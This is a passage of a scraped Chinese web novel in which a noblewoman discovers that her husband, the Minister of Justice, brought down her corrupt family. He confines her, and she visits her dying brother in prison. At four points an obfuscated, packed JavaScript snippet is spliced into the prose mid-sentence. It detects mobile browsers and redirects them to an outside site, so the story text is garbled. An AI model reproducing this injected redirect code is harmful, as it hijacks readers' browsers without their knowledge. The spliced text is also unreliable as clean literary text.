“小君在上，为夫冤枉啊。”他一双狐狸眼中盈满了笑，半真半假地喊冤，“分明是你瞒我在先，倒怨着我了。账簿不理便不理吧，何苦藏着掖着的？” 褚笑眉垂下了脑袋，红着脸道：“毕竟是作为妻子的分内之事嘛……不想让你知道，我连这也不会。” “是我哪里做得不好？竟教你有了此番顾忌。” 他指节托起她下巴，逼她抬头看着自己。 “长欢，我只盼着你日日欢喜，旁的都不要紧。” 刑部的曹尚书到了致仕的年纪，他与褚家交好，便推举了江铭接任他的位子。 江侍郎成了江尚书，愈发地忙碌了。 褚笑眉无聊得紧，抱着小喜去书房陪他。 小雪团子已长成大雪团子了，轻轻一跃便能跳到案上，用爪子拨弄悬在笔架上的狼毫；褚笑眉也绕着他转来转去，这儿戳戳，那儿瞧瞧。 一大一小两个都是闲不住的。 江铭无奈地轻叹一声，伸手把她拽进了怀中：“祖宗，安分些。” 她反倒来了劲，张口去咬他耳尖。他浑身一僵，耳廓骤然红了，箍着她腰身的手臂愈发收紧。 褚笑眉再接再厉，带着甜香的温热吐息吹进他耳中，拂过他脖颈。 他眸色愈暗，呼吸逐渐凌乱，抱着她起身，将她按在了书案上。 笔架被她失手撞翻下去，猫儿受到搅扰，跳下书案跑走了。 半个时辰后，祖宗终于安分了。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15361544|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将她抱到屏风后的卧榻上，为她掖好被子。猫儿在窗边晒太阳，抱着尾巴也睡得正酣。 褚笑眉的月信向来准得很，这一月却迟迟不来。她不以为意，江铭却坚持请了郎中，要为她诊脉。 郎中把完脉后，拱手道：“恭喜大人，夫人是有孕了。” 这一喜讯砸得褚笑眉脑子发懵。 江铭送走郎中后，回来抱了她半晌，许久不肯撒手。 这个孩子没给她添太大的麻烦，她并不恶心干呕，每日能吃能睡。甚至像是不曾有孕，只是丰腴了些许。 她不大难受，饮食起居上也就并不在意，反倒是江铭处处为她留心。 草长莺飞，春日已至。 靖国公又要出征西域，褚笑眉前去送他。 靳愿看着她盘起的妇人发髻，盯着她隆起的腹部，嗓音涩得厉害：“你现下身子重，不是早说过，让你不必来送吗？” 她仍旧笑靥如花：“承望哥哥是为国征战，又从来待我极好。如今一去数月，我哪有不来相送的道理？” “那他呢？”靳愿问道，“他待你好吗？” “夫君也待我极好，连阿菁都眼热得很呢。” “……那就好。”靳愿低低地应了一声，神色晦暗不明。 白虹为她紧了紧披风，侍立于她身后，随她一同目送大军远去。 焦郎中每日都来请脉，这一回却皱紧了眉头，反复把了好几次。 褚笑眉也跟着紧张起来：“可是有什么不妥？” 焦郎中道：“夫人胎象不稳，还是少走动，多多安胎吧。” “怎会突然胎象不稳？”青简问道，“我们夫人素来康健，近日也无甚不适。况且你此前来请脉，不都说是好好的？” 焦郎中答道：“这位娘子有所不知，胎儿的情况，并不能以成人的医理来论。于腹中依赖母亲而生，有变故是常有的事。” 青简还是放心不下，向褚笑眉道：“夫人，要不请闫神医来看看？” 焦郎中道：“恕小人直言，夫人的情形并不要紧，常卧床歇息即可。无论请哪位郎中来看，都是一样的。” “罢了，闫老先生年逾八十，上回因小臣的事请他跑一趟，我已十分有愧，就别再劳烦他了。”褚笑眉道，“况且焦郎中是夫君请来的，我信得过他的医术。我遵从医嘱，多多休息便是。” 褚笑眉本是个待不住的，为了这个孩子，竟当真乖乖卧榻安胎，月余不曾出门。 她憋得快要疯了，只盼着爷娘、小臣与阿菁多多来看她，同她说说话——可他们始终都没来。 她托江铭给他们带了好几回信，江铭回来以后，仍对她摇了摇头： “岳父岳母说，你如今已嫁作人妇，他们不好常来走动；平远侯府那边说，张家娘子被侯爷盯着练武，看得极紧，也抽不开身。” 这属实不大像他们的作风，她心中狐疑，却到底还是相信了。 她在屋中待得浑身难受，又不敢走远，只得在院里稍微活动。 院墙另一边的议论声隐约传来： “哎，这江尚书的夫人褚氏不是褚家的女儿吗？怎么褚家出了这样大的事，她竟好似没什么反应？” 25. 第 25 章 隔墙的语声虽低，褚笑眉却一字一句听得分明，脸色骤变。 “那边的人，在说什么呢！”白虹扬声喝道，“都过来！” 话音戛然而止，片刻死寂之后，杂乱的脚步声绕过墙来。 两名身着短褐的中年男子扑通跪倒，叩首道：“小人胡言乱语，扰了夫人清净，还请夫人恕罪。” 褚笑眉半个时辰前见过他们——这二人是上门来打理草木的花匠，刚修剪完她庭中的花枝。方才他们在院墙另一头的议论，约莫正是干活时的闲侃。 她问道：“我听见你们说……褚家出事了？” 两人俱是一怔。 左侧那龅牙男子脱口而出：“夫人不知道？” 白虹道：“我们夫人许久不曾出府，自然不晓得外头的事情。褚家究竟怎么了？你们快快道来，别教夫人提心吊胆！” 龅牙男子正想作答，右边的窄脸男人好似明白了什么，蓦地用手肘重重捅他一下，拦下他的话，抢先道： “夫人想岔了，小人方才说的是双木‘楚’的楚家，并非夫人的娘家。” “是吗？”褚笑眉冷哼一声。 她心中焦灼，不愿与他们过多纠缠，出言吩咐：“白虹，备车，回褚府。” 白虹劝道：“夫人身子重，跑这一趟恐动了胎气。您回房歇着，奴婢去为您打探，如何？” “你觉得我听到这个消息，还能在府里待得住？”褚笑眉道，“别让我再说第二遍。” 白虹只得垂首应诺。 宝盖香车辘辘驶向褚府，褚笑眉不断地催促车夫再快些。汗血马在青石砖铺就的街道上飞奔，接连穿过几个坊，终于在两刻钟后抵达了褚家。 她由青简和白虹扶着下车，却见朱漆大门紧闭，交错贴着封条，上书“天府查抄，褚宅禁启”。右上角小楷竖写着“景曜八年三月廿七”，左下角盖着“刑部狱”的葫芦形朱印。 “抄家……”她腿上一软，幸亏被婢女托住，才没有跌倒在地。 三月廿七，正是一月前的事。 难怪这个月，爷娘和阿弟都不曾来江府看她，原来褚家早已是天翻地覆了…… 她只觉头晕目眩，勉强支撑着身形，嗓音哑得厉害：“去找人问问，褚家犯了什么事？” 长乐巷住的都是高官贵胄。褚笑眉去往邻近的陈府，向门房问起此事。 平素里常来常往的，门房自然识得她。褚家虽倒了台，但她如今仍是刑部江尚书的夫人，半分也怠慢不得的。 门房躬下身向她行礼，面露难色：“夫人，您在江府之中，没听到半点风声，那便是江尚书有意瞒着您。尚书大人不愿让您知晓，小人也不敢说啊。” 褚笑眉递给白虹一个眼神，婢女会意地取出一枚银锭来。 “褚家被查抄这么大的事，只怕早传到满城风雨了。你不说，我也能从别处问到。”褚笑眉道，“但我实在着急，等不得再找旁人打听了。” 门房接过了那银两，藏入袖中，附和道：“夫人说的在理。” 他环顾左右，确定近处没有旁人，方才压低了声音道： “说是褚尚书与平远侯结党营私，贪墨受贿。抓捕当日，平远侯和世子被当场斩首，两家人全落了刑部大狱。” “什么？！”褚笑眉眼前一阵发黑，脑中嗡嗡作响，近乎喘不上来气。 “夫人，夫人……”青简焦灼的呼唤似是从极远的地方传来，听不真切。 褚笑眉被白虹搀扶着，大口大口地喘息了许久，眼前的黑点终于渐渐消散。 鼻间有温热的液体淌了下来，她用手帕一抹，留在帕上的颜色鲜红刺目，竟是流了血！ “夫人！”白虹惊呼出声，“您尚在孕中，莫要情绪起伏过大。先回府中，请郎中来看看吧。” “我没事。”她攥紧了拳，指甲深深地掐进掌心，用疼痛逼迫自己冷静下来。“既是下了刑部狱，此事未必没有转圜余地。去刑部，找文颂。” 她如今的夫君，正是刑部尚书，也许还有法子可想。 马车晃得她愈发头疼，青简为她反复按揉，只不过能稍微纾缓一二。 她不管不顾地利用自己的身份闯进了官衙，打断了尚书大人的议事。 江铭阖上面前的公文，移到书案的左侧，挥手示意其他人退下。 她的眼眶红得厉害。这一路应是急急赶来的，发髻也有些乱了。 江铭问道：“你都知道了？” “我家里出了事，你为什么瞒着我？”她鼻头一酸，话音带上了哭腔。“我每回问你说，爷娘怎么还不来看我，你都说是他们不愿来……” “我不敢让你知晓，”江铭道，“想着能瞒一时是一时。” 她继续质问：“那位说我胎象不稳、要卧床静养的焦郎中，是不是同你串通好的？为的是让我不能出门，以免听到褚家的事。” “是，夫人猜得没错。” “我竟真就被你蒙在鼓里……”她哽咽得厉害，“若非我今日意外得知，你打算瞒我到什么时候？瞒到我家人被送上断头台，我去为他们收尸吗？” 江铭默然许久，没有作答。 “我阿爷与张世伯交情好，如何就成了结党营私？至于贪墨受贿，更是绝不会有的……” “长欢，”他轻轻唤她一声，放缓了语调，徐徐阐述，“三司已会同审理了，证据确凿。” “阿爷不可能做这样的事！一定是有人栽赃诬陷！” 江铭叹了口气，从架上取出一沓卷宗，翻开念与她听：“吏部尚书褚惟庸与平远侯张永昌结党，私授陇右节度使职于商人杨氏婿，收受夜光璧十对、胡马百匹。又改凉州司马考课为‘上’，使其得迁刺史，受贿绢两千匹。 查其任内，凡官吏升迁，十之七八需献‘常例钱’，数额自白银百两至千两不等。又强索邕州刺史翡翠屏风十二扇，致其破产自缢……” 他看见她眸中震颤的泪光，话音一顿，转而问道：“还需要我继续念下去吗？” 她咬紧了下唇，脸色惨白一片。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15378669|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江铭继续道：“若只是某一件事，却有栽赃之嫌。可一桩桩一件件，罪行众多，牵连甚广，难道都是构陷攀诬？” 他抬起手，指腹轻轻拭去她眼角的湿意：“夫人以为，你堆满库房的绫罗绸缎是怎么来的？你嫁与我时，褚家置办的一百零二抬嫁妆又是怎么来的？……靠吏部尚书六千钱的月俸、每年四百石的禄米和十二顷职田？” “即便阿爷真有错处，但他毕竟是我阿爷，我总不能眼睁睁看着他去死……”她提起裙摆，重重朝他跪下。“夫君，你是刑部尚书，你一定会有法子的。你救救我家人，好不好？” “长欢！”江铭忙去扶她，她却不肯起。他一时无法，只得俯身将她抱起，安置在书案后的官帽椅上。 他的声音有些发颤，低低地央她：“别这样……别跪我……” 她的眼泪滚落下来，吧嗒吧嗒地砸在他手背上：“夫君，往后我不扰你公务了，我认真学管家，好好打理后宅，不让你再操半点心。你要纳妾也可以，要养外室也可以，我绝不生半点妒意。 “只求你帮我这一回——救救我爷娘吧。” 江铭被她滚烫的泪灼得生疼，不由蜷起了指节，轻声道：“刑部、大理寺和御史台三司，一同审完的案子，还能有什么法子？” “你再看看案卷中的证据，若有何处存疑，兴许可以翻案！” 江铭道：“人证、物证俱在，并无任何疑点。” “你从头再查一遍……” 江铭苦笑一声：“我已看过无数遍了。” “那就去找大理寺卿和御史大夫！”褚笑眉紧紧抓着他的手臂，眸中燃着最后一抹亮光，“我陪嫁的两百抬樟木箱，用来疏通关系定然是足够的！只要他们二人点了头，这案子要重判并不难！” “长欢是想让我……与其他高官联络结党，徇私枉法？” “只这一次！”她哭着央道，“关乎我家人的性命，我实在无法坐视不理。夫君，求你了，就这一回，你帮帮我吧……往后你要廉洁奉公，我定不会再阻碍你分毫。” 江铭垂下眼睫，避开了她的目光：“抱歉，我做不到。” “我知晓你素来清高，即便不看在我的面子上……”她拉起他的手，轻轻覆上自己隆起的腹部，“也求你顾及我们尚未出世的孩子。” 她腹中不知是她自己的心跳，抑或是那孩子的心跳，一下一下震颤着他的掌心。 他呼吸一乱，用力闭了闭眼，抽回了自己的手：“长欢，我什么都可以允你。唯独这一件……不行。” “为什么？”她满脸泪水，不甘心地质问。“秋日赏菊宴时，醉霞阁失火，是你冲进来救了我。你为了我，连性命都可以不顾，怎么不能在这件事上稍微退让一步？” “你真想知道为什么？” 江铭的脸色也变得苍白，眸中是她看不懂的悲戚。他在痛苦中犹豫挣扎许久，失却了血色的嘴唇发着抖，终于开口哑声解释。 “因为指控你父亲的证据，是我呈上去的。” 26. 第 26 章 “……你说什么？！” 褚笑眉一时怔愣，近乎无法理解他话中的意思。她甚至以为是自己听岔了，抑或是她当下正在做一场噩梦。 可他紊乱的吐息分明拂在她肌肤上，激得她一阵战栗；他浓黑眼眸中暗潮汹涌，压抑着她看不懂的复杂情绪。 她嗓子涩得厉害，终于找回了自己的声音： “褚家哪里对你不起？连你如今刑部尚书的位子，都是靠我阿爷的关系得来的……你为何要恩将仇报？” “这不是褚家与我之间的事。” 江铭攥紧了她身侧的扶手，轻声陈述： “在褚宅之中，抄得白银一百六十七万两，黄金一万三千两，至于良田地产、珍宝古玩，更是举不胜举。 “数额之大，可抵国库五年赋税；名目之多，将查抄所得记于册上，录写了四万余字。” 他语气平静，却字字惊心。 罪证、赃物，一一罗列清楚。她没什么能再为阿爷辩解的了。 “长欢，褚家没有对不起我，是我有负于你。” 江铭低垂的鸦睫微微发颤，不敢看她的眼。他脸色苍白，愈发衬出眉眼的浓黑深邃，一双狐狸眼泛着红，凄艳得惊人。 “可我若不负你，便要负天下千千万万人。” 她知道他说得没错。 但她做不到，和他一起站在家国大义的立场上，就此抛却十六年间的亲友。 阿爷总是笑眯眯的，脾气很好。她不如小臣聪明，小臣已会作诗了，她还在学《千字文》。可阿爷从没说过一句重话，耐心地一遍遍教她。 阿娘性子急些。她儿时不懂事，跟着阿菁玩野了，宵禁后才想起要回家，阿娘会板起脸训她。但只要她撒一撒娇，阿娘的怒气就烟消云散了。 小臣身体不好，偏偏最是关心她。天冷叮嘱她添衣，不许她贪嘴吃太多寒凉的饮食。方方面面，将她看顾得妥妥帖帖。 张世伯教她学骑马，张世兄带她放纸鸢，阿菁与她从小一起长大。 …… 桩桩件件，悉数浮现在她眼前。 他们是她生命中最重要的人，教她如何能够割舍？ “至少留他们一命。”她哽咽着央求，“圈禁也好，流放也罢，哪怕是没籍为奴……夫君，求你了，放他们一条生路吧。” “褚家和张家树大根深，不能留下后患。夫人难道没听过除恶务尽的道理？” 江铭的嗓音依旧温柔，话中一字一句，竟冷得让她遍体生寒。 “我亦是褚家人。”褚笑眉浑身冰凉，目光却炙热悲怆。“夫君既说‘除恶务尽’，怎么不将我一同杀了？还有我腹中这个孩子，也带着一半褚家的血脉……” “够了！”他猝然打断道。 似是察觉到自己有些失控，他深吸几口气，勉力压下隐要爆发的情绪，缓声道： “你既嫁作江家妇，自然不算褚家女，往后我才是你的家人。你乖一些，好好回府待着，别再管这些事。” “不可能。”褚笑眉双眸通红，定定地盯住他，“我阿爷阿娘身在大狱，你叫我袖手旁观？” 她嗤笑出声：“呵，江文颂，要不你自己听听……你说的是什么话？” 江铭愈发收紧了指节，绷得手背青筋暴起。而后，他长长吐出一口浊气，手指徐徐松开，站直了身子：“夫人不肯听话也没关系。” 他捻了捻指尖，似乎要抹去其上并不存在的灰尘，一声令下：“来人。” 两名家仆应声而入。 听到屋中的变故，白虹和青简也一齐跟了进来。 只听江铭吩咐：“把夫人送回府中，严加看管。” “谁敢！”褚笑眉喝道。 可惜江府的家仆，并不听从她的号令；他们已朝她而来，步步逼近。 两名婢女抢身上前，牢牢护住了她——白虹功夫极好，不仅是侍婢，更是贴身护卫。区区两名家丁，绝不是她的对手。 褚笑眉道：“白虹，拦住他们！” 双方对峙间，气氛已是剑拔弩张。 白虹却蓦然跪地：“且听奴婢一言。” 她向江铭道：“大人，夫人腹中尚且怀着您的孩子，强行动武，恐有损伤。不如由奴婢带夫人回去……” “你疯了吗？！”褚笑眉又惊又怒，“如今褚家危在旦夕，你竟要站在他那一边？” 白虹道：“正因褚家已倒，再难回天，夫人后半生的倚仗唯有大人，更不该伤了和气。” “混账东西！要是我全家都死了，我还顾及什么后半生？！” “奴婢此举，是为夫人考量，夫人要怨便怨吧。”白虹制住了她，用的力道虽不大，却足够让她挣脱不开。“得罪了。” 褚笑眉被关回了江府。 白龙臛、汤浴绣丸、唐安啖、丁子香淋脍……餐食端上来一样，她就砸一样。接连三日，滴水未进。 “大人，夫人还是不肯吃饭。” 江铭听过家仆的禀报，笔锋微顿，仍凝神将剩下半句写完，方才搁了笔。 他掰下一块广寒糕，喂给在书案上舔毛的雪狸，道：“不肯吃，那就是不够饿。饮食照旧送过去，她吃或不吃，都不必理会。” 家仆犹豫道：“可夫人已晕过去好几回了。郎中来看过，说夫人有孕在身，这样下去恐怕……” 江铭闻言蹙了眉，屈指轻蹭猫儿柔软的绒毛。猫儿吃得正欢，不肯给他碰，凶巴巴地叫唤了一声。 “本事不大，脾气倒不小。”江铭勾唇冷笑，目光却仿佛透过它，在看着旁的什么人。 他收回手，起身整了整衣摆：“备车。” “大人要去哪儿？” “刑部大牢。” 牢房阴暗潮湿，不见天光，砖上生着青苔与绿霉。 单薄瘦削的少年躺在地上，无意识地打着寒颤，流露出许多痛苦之色。 这大牢白日里又闷又热，夜里却湿冷入骨。褚笑臣自小体弱，又只有囚衣蔽体，早被折磨得发了高烧。昏昏沉沉的，连抬手的力气都没有。 他的手指上齿痕密布，血肉模糊，伤口严重处甚至深可见骨。一只耗子正啃咬着他的指尖，听见有人靠近，“吱——”地惊叫出声，蹿到角落中去了。 “醒醒！”狱卒踹了踹他，“尚书大人有话要问你。” 褚笑臣涣散的目光渐渐聚焦，落到锦衣紫袍的高官身上。 他的嗓音哑得厉害：“我阿姊怎么样了？” “在闹绝食，逼我救你们。” “阿姊……”他眸光一晃，薄唇翕动着，呢喃出这个称呼。 他是聪明人，只需要一句话，就明白了江铭来找他的意图。 江铭不会因为这种威胁而罢手，阿姊若执意决绝到底，无非是多赔上她的一条性命。 但江铭既然跑了这一趟，便足以说明——若是有得选，他并不想阿姊出事。 “带她来见我，我能劝她活下去。”褚笑臣道。 院内悬着的红纱灯因风而动，江铭踏着忽明忽暗的光，迈入了屋内。 小厮托着绿檀木盘，侍立在旁。江铭刚接过青瓷碗，褚笑眉已一扬手，要将这碗掀翻。 他略通些武学，同她一个娇养在闺阁中的小女娘相比，力道大得多，轻而易举地钳住了她的手腕。 褚笑眉偏又饿了好几日，竭力挣扎下，仍甩不开他的束缚；反害得自己眼前一阵阵的发黑，几欲晕厥。 “别闹了。”江铭捏在她腕间的手愈发用力，“你所求之事，我绝不会允。” 褚笑眉冷声道：“那我同江尚书之间，没什么好说的。” 江铭眼底一派凛冽寒意，褚笑眉毫无惧色，不躲不避地与他对视。 到底是他先叹了口气，语调缓和下来：“你乖乖喝完这碗粥，我可以让你同你阿弟见上一面。” “我要褚家和张家的人活着。” “你没有讨价还价的余地。”江铭搁下瓷碗，碗底与方盘相叩，发出“笃”的轻响。“不喝？那就是你不想见他了？” “行，由你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15399390|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他并不与她多争，径直起身，向房门步去。 他分明已经决定，带她去见褚笑臣；却偏要借此，逼她先退一步。 顶尖的弈者，总是要尽可能地在对局中攫取优势。 他走出不到七步，便听见褚笑眉道：“我喝。” 她端起碗，仰头一饮而尽，双眸始终定定地盯着他。仿佛那不是一碗暖胃的汤粥，而是一盏鸩酒。 狱卒在前引路，通道两边的牢房中，时不时传来囚犯们的哭嚎与癫笑。 空气并不流通，压得人心口发闷，处处弥漫着腥臭——那是霉味与犯人身上的屎尿味混杂在一起的味道。褚笑眉本就有孕在身，被这气味熏得接连干呕。 她每往大牢深处多走一步，心头就更沉一分。 她不敢想，褚家落狱的这一月以来，小臣是怎样在这里捱过每一日、每一夜的。 少年靠在墙上，后背直挺挺地贴着石砖。他已没有力气依靠自己坐住了，只能这样勉力强撑着，以求不在阿姊面前显得太过狼狈。 他的高烧仍未退去，面如金纸，唯有双颊泛着病态的潮红。 “小臣！！”褚笑眉的眼眶一下子就红了，她扑到牢房前，紧紧抓着锈迹斑斑的铁栏杆。 “夫人，您只有一炷香时间。”狱卒提醒一句，自退下了。 褚笑臣整个人瘦得脱了相，眼窝深深地凹陷下去，眼下青黑一片。颧骨高高隆起，脸颊上没什么肉，看起来像是骨架撑起了一层皮。囚衣空空荡荡地挂在他身上，肩膀处甚至能清晰看见骨头的轮廓。 他嗓音喑哑：“阿姊，你来了。” “是我来了。”褚笑眉将手臂从栏杆缝隙伸进去，想要触碰他。可他坐的位置实在是很微妙，她拼尽全力，指尖仍悬在离他两寸之处。 她喉头哽得厉害，眼泪不受控地滚落下来：“你生病了？还撑得住吗？” “只是受了点风寒，不碍事。阿姊关心我，我很欢喜。”他勾起唇角，冲她笑了笑。 从前他的唇浅淡而润泽，像是新开的玉兰花瓣；如今却因为高烧和缺水变得苍白干裂，一笑就又崩开细密的小血口子，往外渗着血珠。 褚笑眉心中一痛，连呼吸都发着抖：“再撑几日……小臣，我找郎中来给你看病……我想办法救你们出去……” 褚笑臣轻轻摇了摇头：“阿姊，褚家落到今日的田地，是罪有应得。” 他实在是病得太重了，勉强说完一句话，便要顿住缓一缓。他不敢喘息得太急，怕被她发现他的痛楚。 “我们并不无辜，阿爷确实贪赃枉法，我一直都知晓。而且，我也是帮凶。” “不管怎样，我都不能眼睁睁地看着你们去死！”褚笑眉的脸上满是泪水，“你是圣上的伴读，总归有情分在……我去求圣上网开一面……” “伴读？”褚笑臣轻笑出声，“阿姊真是不了解朝堂局势。 “圣上年少，未亲大政。国师也好，丞相也罢，都不想还权与他。我在圣上身边，是做监视他的那双眼……他怎么可能救我？” “那我去求国师。阿爷为国师效力多年，没有功劳也有苦劳……” “弃子而已，哪值得来救？” “阿爷昔日故交，总有愿意出手相助的……” “世人皆拜高踩低，眼下褚家已倒，哪还有什么故旧之情？” 褚笑臣叹了口气，柔声劝道：“阿姊，莫要再执念于此。你既未受牵连，便好好活下去……” “若你们都死了，我独自苟活又有什么意义？” 他静默片刻，道：“到了那时，还有姐夫陪在阿姊身边。阿姊不是最喜欢他了？” “喜欢一个害死我全家的人？只怪我从前瞎了眼！” 褚笑臣垂下眼睫，低笑一声：“阿姊还真是……和我想象中的一样倔。” “我本想着，若能劝阿姊应下，往后在江府安稳度日，是最好不过的。但阿姊偏偏决意不允……” 他略顿了顿，继续道：“既如此，我还有一事，想告知阿姊。” 27. 第 27 章 “你只管说便是。” 牢房中光线昏暗，褚笑臣的脸一半隐在阴影中，看不真切：“其实……阿姊并非褚家的女儿，你的亲生父母另有其人。” 他语声虽轻，落在褚笑眉耳中，却不啻一道惊雷。 “什么？！”褚笑眉惊道，“这怎么可能？” 她在爷娘膝下长大，他们待她与小臣并无任何分别，甚至疼宠纵容她更多。无论怎么想，这话都实在太过荒谬。 她蹙起了眉：“小臣，莫要编造出这些谎话来诓我。” “我怎会欺骗阿姊？”褚笑臣垂眸苦笑。 “我幼时在阿爷书房中玩耍，无意间打开过一个暗格，其中藏着一枚半月形玄铁令符。因我连番追问，阿爷方才告诉我，那是阿姊传家的信物。” “你说的……当真？” “阿姊若不信我，可设法进入褚宅，前去找寻。”褚笑臣道，“我现下就将那处暗格的位置与开启之法告诉阿姊。” 他细细指明，而后问道：“阿姊可记下了？” 褚笑眉点了点头：“那我的亲生父母究竟是谁？” “我也不知道。不过既有信物留存，想必可以寻到他们。” 他话音微顿，徐徐抬眼望向她：“我告诉阿姊这件事，是希望阿姊明白，你尚有亲人在世，莫要轻易舍弃自己的性命……” “夫人，一炷香已至，您该走了。”狱卒的声音出现在五步开外。 “容我再……” “这是尚书大人的吩咐，小人不敢有违。”他躬腰提醒，姿态恭敬，却无分毫可商榷的余地。“若夫人为难小人，小人只好为难狱中的死囚了。” 褚笑眉只得起身。她望着病重的阿弟，翕动唇瓣想要说些什么。 她想告诉他别怕，她会想办法救他出去……可她自己亦知晓，这样的承诺是如何的苍白无力、难以实现。 最终，她还是什么也没有说出口。 “阿姊，活下去。”褚笑臣想，这大概是他叮嘱阿姊的最后一句话了。 他的目光追随着她离去，将她的背影深深烙进眼底。直到她的脚步声渐远渐轻，再听不见了，他终于失去了支撑身体的力气，骤然昏倒在地。 褚笑眉不再以绝食作威胁，江铭的态度也缓和了许多。他像是一个尽职尽责、疼爱妻子的丈夫，时常询问她有什么想吃的、是否会觉得无聊、要不要请戏班来府上唱戏…… 只是，他仍不许她出门。 在褚家的事尘埃落定以前，她都只能做他的囚鸟。 褚笑眉曾经觉得，她悠闲逸乐的日子很好。左右她只是个女儿家，出嫁前倚仗父母，嫁人后依靠夫君，是再合理不过的事。她家世显赫，阿爷乃是朝堂的吏部尚书，未来的夫婿总不敢薄待于她。 谁知短短一月之间，竟已地覆天翻。褚家因贪腐落狱，朱门长锁，大厦终倾。 往日弦管闹、绮罗丛，终成南柯醒、画楼空。 白虹和青简都劝她，不要再与江铭发生冲突。 即便她拼力抗争，又能如何呢？她的生死与自由，全然地捏在他手中。只要他不点头，她连迈出这宅院都做不到。 她不学医术，不读经史，不习武功，无能得可恨。所以沦落到今日的地步，连一丝反抗之力也无。 她写了好多好多信，托白虹偷溜出去，呈给昔日的旧友，求他们伸手救一救褚家。 ——全都杳无音讯，石沉大海。 处刑的日子愈发逼近。 她食不下咽，逼着自己吃下一些，又吐得天昏地暗。 夜里更是无眠，从圆月出现在天际，一直数着更漏到月上柳梢。实在太过疲累了，才能勉强入睡，又很快被噩梦惊醒。 “阿爷！！阿娘……” 梦中屠刀砍下，爷娘的人头滚落在地，鲜血喷涌而出，染红了整个天地。 她尚未从惊惧中回神，浑身发着抖，满脸皆是泪水。 白虹在旁守夜，急忙起身上前，轻抚她的后背，柔声安慰：“夫人莫怕，只是一场噩梦。” 不，那从来不只是噩梦——是她家人悬于一线、即将陨灭的性命。 褚笑眉抬手抹去脸上的泪水，披衣下榻：“我再写几封信，你替我送给何家、朱家和司徒家。” “夫人已写了七八封送去，若他们愿意相助，早就出手了。” “我如何不知这样的道理？可我眼下被困在江府，这是我唯一能做的……”褚笑眉道，“研墨吧。” 白虹垂首应诺。 她执起松烟墨，在砚台里细细研磨，质细色黑的墨汁从中漫开。 她手上动作一顿，忽地开口道：“还有一个人……夫人或许可以试试向他求援。” “谁？” “国公爷。” 京中故交尚且不愿伸以援手，遑论靖国公已出兵弭泊，正在两国交战的节骨眼儿，哪里会顾得上她？ 她心知肚明，即便寄出这信，也是希望渺茫。但溺水之人，总是会不顾一切地攀扯任何生机。 抿唇沉吟间，狼毫已吸饱了墨。她提起笔，落下的字迹微微发颤： “伏以血诚，泣告贤兄台前： 家父与张世伯因结党营私、贪墨受贿坐罪。张氏父子已然就戮，两家满门尽陷囹圄，下月问斩，惟余一人得免。伏念法网森严、铁证如山，然至亲情深，岂忍目睹阖门惨祸？ 恳请仁兄援手，计挽天倾，留此一脉残喘。若蒙俯允，虽结草衔环，粉身碎骨，亦难报万一。临楮惶愧，惟冀垂怜。 褚笑眉顿首再拜” 靳愿读完最末一句，指节将信纸捏出许多褶皱，脸色阴沉得吓人。 “……敌军早就是强弩之末。我方兵力已部署完毕，只待今夜突袭，即可攻下鸣沙城。”秦毅将军察觉了他的异样，出言询问，“公爷，可是有何处不妥？” “不必再议了。”靳愿冷声道，“撤兵，回京。” 帅帐中的议论骤止。 众将领面面相觑，却无一人敢提出异议，唯恐触了这位凶神的霉头。 彭御史是圣上派来的，有监军的职责在身。有些话，旁人不敢说，他却不得不说。 只见他拱手道：“鸣沙城乃敌方重镇，若攻占这一要塞，拿下弭泊指日可待。公爷为何要在此时退兵？” 靳愿冷冷睨他一眼：“御史大人，靳某是西伐的总帅。我的决定，由不得你来置喙。” “即便您决意如此，也该先传急报回朝，由圣上定夺。”彭御史道，“擅自撤军还京，您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15416023|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是要造反吗？” 他话音未落，靳愿便拔出长刀。只听一道利器没入血肉的闷响，众人回过神时，刀刃已捅进了彭御史的心窝。 赤红的鲜血沿着雪亮的锋刃淌下，滴滴答答地落到地面。彭御史不敢置信地瞪大了眼，身体渐渐软倒下去。 